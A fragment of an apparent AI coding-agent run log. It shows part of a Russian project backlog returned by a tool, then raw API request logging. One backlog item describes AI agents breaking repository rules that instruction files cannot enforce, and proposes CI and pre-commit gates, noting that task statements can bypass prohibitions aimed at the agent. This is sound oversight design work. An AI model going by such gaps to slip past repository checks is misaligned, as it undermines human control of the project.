\u0441\u0438\u043b\u0443 \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u043e\u0441\u043b\u0435 \u0435\u0433\u043e \u0444\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0434\u043e\u0441\u0442\u0430\u0432\u043a\u0438 \u0432 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0439. **\u0414\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u043e (\u043d\u0430\u0445\u043e\u0434\u043a\u0430 F8, \u0440\u0435\u0432\u044c\u044e PR [#548](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/pull/548)): \u043f\u0440\u043e\u0432\u0435\u0441\u0442\u0438 \u0430\u0443\u0434\u0438\u0442 \u043a\u043e\u0440\u043d\u0435\u0432\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432 `aether-orbis`. \u0412\u044b\u044f\u0432\u0438\u0442\u044c \u0438 \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u0442\u044c \u0434\u0443\u0431\u043b\u0438\u043a\u0430\u0442\u044b \u0438\u043b\u0438 \u0437\u0430\u043f\u0440\u0435\u0449\u0451\u043d\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, [`PRODUCT_VISION.md`](https://github.com/G-Ivan-A/aether-orbis/blob/main/PRODUCT_VISION.md), [`GOVERNANCE.md`](https://github.com/G-Ivan-A/aether-orbis/blob/main/GOVERNANCE.md)). \u041f\u0435\u0440\u0435\u043d\u0435\u0441\u0442\u0438 \u0438\u0445 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u0432 \u043a\u0430\u043d\u043e\u043d\u0438\u0447\u043d\u044b\u0435 \u0434\u043e\u043c\u0430 (`docs/vision.md`, `ai-governance/`) \u0438 \u0443\u0434\u0430\u043b\u0438\u0442\u044c \u0438\u0437 \u043a\u043e\u0440\u043d\u044f. \u041e\u0431\u043d\u043e\u0432\u0438\u0442\u044c \u0432\u0441\u0435 \u0430\u0431\u0441\u043e\u043b\u044e\u0442\u043d\u044b\u0435 \u0441\u0441\u044b\u043b\u043a\u0438.** \u0414\u0443\u0431\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 SSOT \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u043e \u0444\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438: [`docs/vision.md`](https://github.com/G-Ivan-A/aether-orbis/blob/main/docs/vision.md) \u0443\u0436\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442 \u043e\u0434\u043d\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e \u0441 \u043a\u043e\u0440\u043d\u0435\u0432\u044b\u043c `PRODUCT_VISION.md`. \u041f\u0435\u0440\u0435\u043d\u043e\u0441 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u0441 \u0436\u0443\u0440\u043d\u0430\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u043f\u0435\u0440\u0435\u043c\u0435\u0449\u0435\u043d\u0438\u044f (`path_migrations` \u0432 `.hub-profile.json`) \u0438 \u0441 \u044f\u0432\u043d\u044b\u043c \u0443\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u0435\u043c \u043d\u0430 \u0441\u0442\u0430\u0440\u043e\u043c \u043c\u0435\u0441\u0442\u0435 \u0442\u0430\u043c, \u0433\u0434\u0435 \u043d\u0430 \u0444\u0430\u0439\u043b \u0435\u0441\u0442\u044c \u0432\u043d\u0435\u0448\u043d\u0438\u0435 \u0441\u0441\u044b\u043b\u043a\u0438, \u2014 \u043f\u043e \u043e\u0431\u0440\u0430\u0437\u0446\u0443 Mango (F7.5); \u043c\u043e\u043b\u0447\u0430\u043b\u0438\u0432\u043e\u0435 \u0443\u0434\u0430\u043b\u0435\u043d\u0438\u0435 \u0437\u0430\u043f\u0440\u0435\u0449\u0435\u043d\u043e. | Structured |\\n237:| **B-116** | \u041c\u0430\u0448\u0438\u043d\u043d\u044b\u0435 \u0433\u0435\u0439\u0442\u044b \u0441\u043e\u0431\u043b\u044e\u0434\u0435\u043d\u0438\u044f \u043f\u0440\u0430\u0432\u0438\u043b: \u044f\u0432\u043d\u044b\u0435 \u0437\u0430\u043f\u0440\u0435\u0442\u044b \u0438 \u0432\u0430\u043b\u0438\u0434\u0430\u0446\u0438\u044f \u0443\u0440\u043e\u0432\u043d\u0435\u0439 \u043f\u043e\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 | **P1** | B-110 | todo | [#547](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/547) | \u041d\u0430\u0445\u043e\u0434\u043a\u0430 F6 [\u0430\u043d\u0430\u043b\u0438\u0437\u0430](../docs/analysis/2026-09-03-ai-rules-compliance-failure-root-cause.md); \u0432\u044b\u0432\u043e\u0434 \u04125 [\u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u043f\u0440\u0430\u043a\u0442\u0438\u043a](../research/hub/2026-09-03-ai-agent-onboarding-entrypoint-practices.md) | \u041e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0435 \u0434\u043e\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0442\u0435\u0445\u0434\u043e\u043b\u0433\u0430: \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u043e\u043d\u043d\u044b\u0439 \u0444\u0430\u0439\u043b \u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442, \u043d\u043e \u043d\u0435 \u043f\u0440\u0438\u043d\u0443\u0436\u0434\u0430\u0435\u0442 \u043a \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u2014 \u0438\u043d\u0434\u0443\u0441\u0442\u0440\u0438\u044f \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u0435\u0442 \u044d\u0442\u043e hooks \u0438 CI. \u0420\u0430\u0441\u0448\u0438\u0440\u0438\u0442\u044c [`tools/validate-repository-structure.sh`](../tools/validate-repository-structure.sh) \u044f\u0432\u043d\u044b\u043c\u0438 \u0437\u0430\u043f\u0440\u0435\u0442\u0430\u043c\u0438 (`docs/contracts/`, \u043c\u043e\u0434\u0435\u043b\u044c-\u0441\u043f\u0435\u0446\u0438\u0444\u0438\u0447\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u043f\u0440\u0430\u0432\u0438\u043b, `ai-generated` \u0432\u043e frontmatter), \u0434\u043e\u0431\u0430\u0432\u0438\u0442\u044c \u0432\u0430\u043b\u0438\u0434\u0430\u0446\u0438\u044e \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b issue \u043f\u043e \u043f\u044f\u0442\u0438 \u0443\u0440\u043e\u0432\u043d\u044f\u043c \u0438 pre-commit/CI-\u0433\u0435\u0439\u0442 \u0432 \u0425\u0430\u0431\u0435 \u0438 \u0441\u043f\u0438\u0446\u0430\u0445. \u0411\u0435\u0437 \u044d\u0442\u043e\u0439 \u0437\u0430\u0434\u0430\u0447\u0438 `AGENTS.md` \u043e\u0441\u0442\u0430\u0451\u0442\u0441\u044f \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0435\u0439, \u0438 \u0441\u0431\u043e\u0438 \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u044f\u0442\u0441\u044f. **\u0420\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u0435 \u043f\u043e \u043d\u0430\u0445\u043e\u0434\u043a\u0435 F7 (\u0440\u0435\u0442\u0440\u043e\u0441\u043f\u0435\u043a\u0442\u0438\u0432\u043d\u044b\u0439 \u0430\u0443\u0434\u0438\u0442 \u043f\u043e\u0441\u0442\u0430\u043d\u043e\u0432\u043e\u043a):** (1) \u0441\u043d\u044f\u0442\u044c \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0435 `find . -maxdepth 1` \u0432 \u0432\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440\u0435 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b \u2014 \u043f\u0440\u0430\u0432\u0438\u043b\u043e \u00ab\u043d\u0435\u0434\u0435\u043a\u043b\u0430\u0440\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043a\u0430\u0442\u0430\u043b\u043e\u0433 = FAIL\u00bb \u0438\u0437 RFC [#532](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/pull/538) \u043d\u043e\u0440\u043c\u0438\u0440\u0443\u0435\u0442 \u0442\u043e\u043b\u044c\u043a\u043e \u043a\u043e\u0440\u0435\u043d\u044c, \u0438\u0437-\u0437\u0430 \u0447\u0435\u0433\u043e `docs/contracts/` \u043f\u0440\u043e\u0448\u0451\u043b 42 \u0437\u0435\u043b\u0451\u043d\u044b\u0445 \u0432\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440\u0430 \u0432 [mango PR #354](https://github.com/G-Ivan-A/mango_ba_prompts/pull/354); (2) \u0434\u043e\u0431\u0430\u0432\u0438\u0442\u044c \u0433\u0435\u0439\u0442 \u0443\u0440\u043e\u0432\u043d\u044f \u043f\u043e\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 \u2014 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u043f\u0443\u0442\u0435\u0439, \u043d\u0430\u0437\u0432\u0430\u043d\u043d\u044b\u0445 \u0432 \u0440\u0430\u0437\u0434\u0435\u043b\u0430\u0445 \u00ab\u0413\u043e\u0442\u043e\u0432\u043e, \u043a\u043e\u0433\u0434\u0430\u00bb \u0438 \u00ab\u0417\u0430\u0434\u0430\u0447\u0430 \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044e\u00bb, \u043f\u0440\u043e\u0442\u0438\u0432 \u043a\u0430\u043d\u043e\u043d\u0438\u0447\u043d\u044b\u0445 \u0434\u043e\u043c\u043e\u0432 **\u0434\u043e** \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438 \u0437\u0430\u0434\u0430\u0447\u0438 \u0430\u0433\u0435\u043d\u0442\u0443. \u0411\u0435\u0437 \u043f\u0443\u043d\u043a\u0442\u0430 (2) \u0437\u0430\u043f\u0440\u0435\u0442\u044b \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f \u043e\u0434\u043d\u043e\u0441\u0442\u043e\u0440\u043e\u043d\u043d\u0438\u043c\u0438: \u043f\u043e\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430 \u0437\u0430\u0434\u0430\u0447\u0438 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u043a\u0430\u043d\u0430\u043b\u043e\u043c \u0437\u0430\u043f\u0438\u0441\u0438 \u0432 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f \u0438 \u043e\u0431\u0445\u043e\u0434\u0438\u0442 \u043b\u044e\u0431\u043e\u0439 \u0437\u0430\u043f\u0440\u0435\u0442, \u0430\u0434\u0440\u0435\u0441\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044e. | Structured |\\n244:| **B-169** | \u041a\u0430\u043d\u043e\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0434\u043e\u043c \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u043a\u043b\u0430\u0441\u0441\u0430 \u00ab\u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u00bb \u0432 \u043d\u043e\u0440\u043c\u0435 \u0425\u0430\u0431\u0430 | **P1** | \u2014 | todo | [#583](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/583) | \u0425\u0430\u0431\u043e\u0432\u0430\u044f \u0447\u0430\u0441\u0442\u044c \u043e\u0442\u043c\u0435\u043d\u0451\u043d\u043d\u043e\u0439 `B-112`; \u043d\u0430\u0445\u043e\u0434\u043a\u0430 F2 [\u0430\u043d\u0430\u043b\u0438\u0437\u0430](../docs/analysis/2026-09-03-ai-rules-compliance-failure-root-cause.md) | \u0414\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u044c [`standards/contract-documentation-standard.md`](../standards/contract-documentation-standard.md) \u0438 [`ops/repo-model.md`](repo-model.md) \u044f\u0432\u043d\u044b\u043c \u0434\u043e\u043c\u043e\u043c \u0434\u043b\u044f \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u043a\u043b\u0430\u0441\u0441\u0430 \u00ab\u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u00bb: \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0439 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442 \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442 \u0444\u043e\u0440\u043c\u0443, \u043d\u043e \u043d\u0435 \u043e\u0442\u0432\u0435\u0447\u0430\u0435\u0442 \u043d\u0430 \u0432\u043e\u043f\u0440\u043e\u0441 \u00ab\u0433\u0434\u0435 \u043e\u043d \u0436\u0438\u0432\u0451\u0442\u00bb, \u0438 \u0438\u043c\u0435\u043d\u043d\u043e \u044d\u0442\u043e\u0442 \u043f\u0440\u043e\u0431\u0435\u043b \u043f\u043e\u0440\u043e\u0434\u0438\u043b `docs/contracts/` \u0432 \u041c\u0430\u043d\u0433\u043e. \u0417\u0430\u0434\u0430\u0447\u0430 \u0432\u044b\u0434\u0435\u043b\u0435\u043d\u0430 \u0438\u0437 `B-112` \u043f\u0440\u0438 \u0435\u0451 \u043e\u0442\u043c\u0435\u043d\u0435: \u0441\u0430\u043c\u0430 \u043d\u0430\u0445\u043e\u0434\u043a\u0430 \u043e\u0442\u043d\u043e\u0441\u0438\u043b\u0430\u0441\u044c \u043a \u043d\u043e\u0440\u043c\u0435 \u0425\u0430\u0431\u0430 \u0438 \u043f\u0435\u0440\u0435\u0436\u0438\u0432\u0430\u0435\u0442 \u0430\u0440\u0445\u0438\u0432\u0430\u0446\u0438\u044e `mango_ba_prompts`, \u0430 \u0431\u0435\u0437 \u043e\u0442\u0432\u0435\u0442\u0430 \u043d\u0430 \u0432\u043e\u043f\u0440\u043e\u0441 \u043e \u0434\u043e\u043c\u0435 \u0442\u043e\u0442 \u0436\u0435 \u0441\u0431\u043e\u0439 \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u0435\u0434\u0451\u0442\u0441\u044f \u0432 `mango-ba-ai-runtime` \u043f\u0440\u0438 \u043f\u0435\u0440\u0432\u043e\u043c \u0436\u0435 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0435 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430 BCREQ (`B-172`). | Structured |\\n252:\u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 MVP-\u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 BCREQ \u0432 `mango-ba-ai-runtime` \u2014 \u0442\u043e \u0435\u0441\u0442\u044c \u0437\u0430\u043a\u0440\u044b\u0442 `B-173` \u0421\u043f\u0440\u0438\u043d\u0442\u0430 19.\\n262:`mango_ba_prompts` \u0441\u043e \u0441\u0442\u0430\u0442\u0443\u0441\u043e\u043c `draft`, \u043d\u0430\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0435 \u043f\u0435\u0440\u0435\u0432\u0451\u0440\u043d\u0443\u0442\u043e (81 \u0441\u0441\u044b\u043b\u043a\u0430 \u0438\u0437 \u041c\u0430\u043d\u0433\u043e \u0432 \u0425\u0430\u0431 \u043f\u0440\u043e\u0442\u0438\u0432\\n286:| **B-121** | \u0421\u043b\u043e\u0439 `L0`: \u0440\u0435\u0435\u0441\u0442\u0440 \u0438\u043d\u0434\u0443\u0441\u0442\u0440\u0438\u0430\u043b\u044c\u043d\u043e\u0439 \u0431\u0430\u0437\u044b \u0411\u0410 | **P1** | \u2014 | deferred (icebox) | [#557](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/557) | [\u0420\u0430\u043c\u043a\u0430 \u043c\u0435\u0442\u043e\u0434\u043e\u043b\u043e\u0433\u0438\u0438, \u00a72 10-theory.md](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/methodology-unification/10-theory.md) | \u0417\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0438\u043d\u0434\u0443\u0441\u0442\u0440\u0438\u0430\u043b\u044c\u043d\u044b\u0439 \u0441\u043b\u043e\u0439 `L0` \u043a\u0430\u043a \u0440\u0435\u0435\u0441\u0442\u0440 \u043d\u043e\u0440\u043c \u0441 \u0432\u0435\u0440\u0441\u0438\u044f\u043c\u0438 \u0438 \u0441\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u043c\u0438 URL: BABOK v3, [ISO/IEC/IEEE 29148:2018](https://www.iso.org/standard/72089.html), [ISO/IEC 25010:2023](https://www.iso.org/standard/78176.html), [\u0413\u041e\u0421\u0422 34.602-2020](https://docs.cntd.ru/document/1200181804). \u041f\u0440\u0430\u0432\u0438\u043b\u0430 \u0441\u0432\u0435\u0440\u043a\u0438 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u0432 \u0437\u0430\u0438\u043c\u0441\u0442\u0432\u0443\u044e\u0442\u0441\u044f \u0438\u0437 [`standards/industry-standards-standard.md`](https://github.com/G-Ivan-A/mango_ba_prompts/blob/main/standards/industry-standards-standard.md) Mango (`\u04181`\u2013`\u04186`), \u0430 \u043d\u0435 \u0438\u0437\u043e\u0431\u0440\u0435\u0442\u0430\u044e\u0442\u0441\u044f \u0437\u0430\u043d\u043e\u0432\u043e. \u0420\u0435\u0435\u0441\u0442\u0440 \u0444\u0438\u043a\u0441\u0438\u0440\u0443\u0435\u0442, \u0447\u0442\u043e \u0438\u043c\u0435\u043d\u043d\u043e \u043d\u0430\u0441\u043b\u0435\u0434\u0443\u0435\u0442\u0441\u044f, \u0438 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u044f\u043a\u043e\u0440\u0435\u043c \u0434\u043b\u044f \u043f\u0440\u0430\u0432\u0438\u043b\u0430 `D2` (\u0434\u0435\u043b\u044c\u0442\u0430 \u0431\u0435\u0437 \u044f\u043a\u043e\u0440\u044f \u0437\u0430\u043f\u0440\u0435\u0449\u0435\u043d\u0430). **\u041e\u0442\u043b\u043e\u0436\u0435\u043d\u043e \u043f\u043e issue #583 (Icebox):** \u0442\u0440\u0438\u0433\u0433\u0435\u0440 \u2014 \u044d\u043c\u043f\u0438\u0440\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u043c\u0435\u0442\u0440\u0438\u043a\u0438 \u043f\u0435\u0440\u0432\u044b\u0445 MVP-\u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 BCREQ \u0432 `mango-ba-ai-runtime`; \u0434\u043e \u043d\u0438\u0445 \u043a\u0430\u0441\u043a\u0430\u0434 \u043d\u0435 \u0443\u0441\u043b\u043e\u0436\u043d\u044f\u0435\u0442\u0441\u044f. | Structured |\\n287:| **B-122** | \u0421\u043b\u043e\u0439 `L1`: \u0434\u0435\u043b\u044c\u0442\u0430 \u0418\u0422-\u0442\u0435\u043b\u0435\u043a\u043e\u043c (eTOM, ODA, SID) | **P1** | B-121 | deferred (icebox) | [#557](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/557) | [\u0420\u0435\u0435\u0441\u0442\u0440 \u0440\u0430\u0437\u0440\u044b\u0432\u043e\u0432, `G-08`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/methodology-unification/30-decision-framework.md) | **\u041a\u043b\u044e\u0447\u0435\u0432\u0430\u044f \u0437\u0430\u0434\u0430\u0447\u0430 \u043a\u0430\u0441\u043a\u0430\u0434\u0430: \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u0435\u0442 \u0431\u043b\u043e\u043a\u0438\u0440\u0443\u044e\u0449\u0438\u0439 \u0440\u0430\u0437\u0440\u044b\u0432 `G-08`.** \u041e\u0442\u0440\u0430\u0441\u043b\u0435\u0432\u043e\u0439 \u0441\u043b\u043e\u0439 \u043c\u0435\u0436\u0434\u0443 \u0438\u043d\u0434\u0443\u0441\u0442\u0440\u0438\u0430\u043b\u044c\u043d\u043e\u0439 \u0431\u0430\u0437\u043e\u0439 \u0411\u0410 \u0438 \u043f\u0440\u0430\u0432\u0438\u043b\u0430\u043c\u0438 \u041c\u0430\u043d\u0433\u043e \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u0435\u0442 \u0444\u0438\u0437\u0438\u0447\u0435\u0441\u043a\u0438 \u2014 \u0438\u0437\u043c\u0435\u0440\u0435\u043d\u043e \u0438\u043d\u0432\u0435\u043d\u0442\u0430\u0440\u0438\u0437\u0430\u0446\u0438\u0435\u0439. \u0421\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u0435: \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a \u0434\u043e\u0441\u0442\u0440\u0430\u0438\u0432\u0430\u0435\u0442 \u0435\u0433\u043e \u0432\u0440\u0443\u0447\u043d\u0443\u044e \u0438 \u0440\u0430\u0437\u043e\u0432\u043e, \u0447\u0442\u043e \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u043e \u0432 \u0440\u0430\u0437\u0431\u043e\u0440\u0435 [RUN-0064](https://github.com/G-Ivan-A/mango_ba_prompts/blob/main/runs/2026/RUN-0064/reports/error-analysis.md), \u0433\u0434\u0435 \u043e\u0431\u043b\u0430\u0441\u0442\u0438 eTOM Fulfillment/Assurance \u043f\u0440\u0438\u0432\u043b\u0435\u0447\u0435\u043d\u044b ad hoc. \u041e\u043f\u0438\u0441\u0430\u0442\u044c \u0434\u0435\u043b\u044c\u0442\u0443 \u0418\u0422-\u0442\u0435\u043b\u0435\u043a\u043e\u043c \u043a `L0` \u043f\u043e \u043f\u0440\u0430\u0432\u0438\u043b\u0430\u043c `D1`\u2013`D5`: \u0442\u043e\u043b\u044c\u043a\u043e \u043e\u0442\u043b\u0438\u0447\u0438\u044f, \u0441 \u044f\u043a\u043e\u0440\u0435\u043c \u043d\u0430 \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u044b\u0439 \u043f\u0443\u043d\u043a\u0442 `L0`, \u0447\u0435\u0442\u044b\u0440\u044c\u043c\u044f \u0442\u0438\u043f\u0430\u043c\u0438 \u0434\u0435\u043b\u044c\u0442\u044b \u0438 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u043c \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0435\u043c. \u0422\u0440\u0435\u0431\u0443\u0435\u0442 \u043e\u0442\u0432\u0435\u0442\u0430 \u0444\u0430\u0443\u043d\u0434\u0435\u0440\u0430 \u043d\u0430 \u0432\u043e\u043f\u0440\u043e\u0441 `Q-1`. **\u041e\u0442\u043b\u043e\u0436\u0435\u043d\u043e \u043f\u043e issue #583 (Icebox):** \u0442\u0440\u0438\u0433\u0433\u0435\u0440 \u2014 \u044d\u043c\u043f\u0438\u0440\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u043c\u0435\u0442\u0440\u0438\u043a\u0438 \u043f\u0435\u0440\u0432\u044b\u0445 MVP-\u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 BCREQ \u0432 `mango-ba-ai-runtime`; \u0434\u043e \u043d\u0438\u0445 \u043a\u0430\u0441\u043a\u0430\u0434 \u043d\u0435 \u0443\u0441\u043b\u043e\u0436\u043d\u044f\u0435\u0442\u0441\u044f. | Creative |\\n288:| **B-123** | \u0421\u043b\u043e\u0439 `L2`: \u043f\u0435\u0440\u0435\u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0435 \u043f\u0440\u0430\u0432\u0438\u043b \u041c\u0430\u043d\u0433\u043e \u043a\u0430\u043a \u0434\u0435\u043b\u044c\u0442\u044b | **P1** | B-121, B-122 | deferred (icebox) | [#557](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/557) | [\u041e\u0442\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0435 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u043e\u0432 \u043d\u0430 \u0441\u043b\u043e\u0438, \u00a73 20-taxonomy.md](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/methodology-unification/20-taxonomy.md) | \u0420\u0430\u0437\u043c\u0435\u0442\u0438\u0442\u044c \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0435 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u044b \u041c\u0430\u043d\u0433\u043e ([`bcreq-process-standard.md`](https://github.com/G-Ivan-A/mango_ba\",\n[2026-09-29T07:43:50.982Z] [INFO]     \"stderr\": \"\",\n[2026-09-29T07:43:50.982Z] [INFO]     \"interrupted\": false,\n[2026-09-29T07:43:50.982Z] [INFO]     \"isImage\": false,\n[2026-09-29T07:43:50.982Z] [INFO]     \"noOutputExpected\": false,\n[2026-09-29T07:43:50.982Z] [INFO]     \"persistedOutputPath\": \"/home/box/.claude/projects/-tmp-gh-issue-solver-1790667776920/f0ddf6ec-4316-44b3-b0ba-14367918e3de/tool-results/bl97cs6yp.txt\",\n[2026-09-29T07:43:50.982Z] [INFO]     \"persistedOutputSize\": 53716\n[2026-09-29T07:43:50.982Z] [INFO]   }\n[2026-09-29T07:43:50.982Z] [INFO] }\n[2026-09-29T07:43:51.012Z] [STDOUT] [log_82d83f] sending request {\n[2026-09-29T07:43:51.016Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:43:51.020Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:43:51.024Z] [STDOUT]   options: {\n[2026-09-29T07:43:51.026Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:43:51.030Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:43:51.034Z] [STDOUT]     body: {\n[2026-09-29T07:43:51.036Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:43:51.040Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:43:51.046Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:43:51.052Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:43:51.055Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:43:51.061Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:43:51.064Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:43:51.067Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:43:51.069Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:43:51.072Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T07:43:51.077Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:43:51.082Z] [STDOUT]       stream: true,\n[2026-09-29T07:43:51.085Z] [STDOUT]     },\n[2026-09-29T07:43:51.091Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:43:51.095Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:43:51.102Z] [STDOUT]       aborted: false,\n[2026-09-29T07:43:51.107Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:43:51.111Z] [STDOUT]       onabort: null,\n[2026-09-29T07:43:51.115Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:43:51.123Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:43:51.126Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T07:43:51.129Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T07:43:51.134Z] [STDOUT]     },\n[2026-09-29T07:43:51.138Z] [STDOUT]     stream: true,\n[2026-09-29T07:43:51.140Z] [STDOUT]   },\n[2026-09-29T07:43:51.142Z] [STDOUT]   headers: {\n[2026-09-29T07:43:51.145Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:43:51.148Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,extended-cache-ttl-2025-04-11,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T07:43:51.152Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:43:51.155Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T07:43:51.160Z] [STDOUT]     \"anthropic-version\": 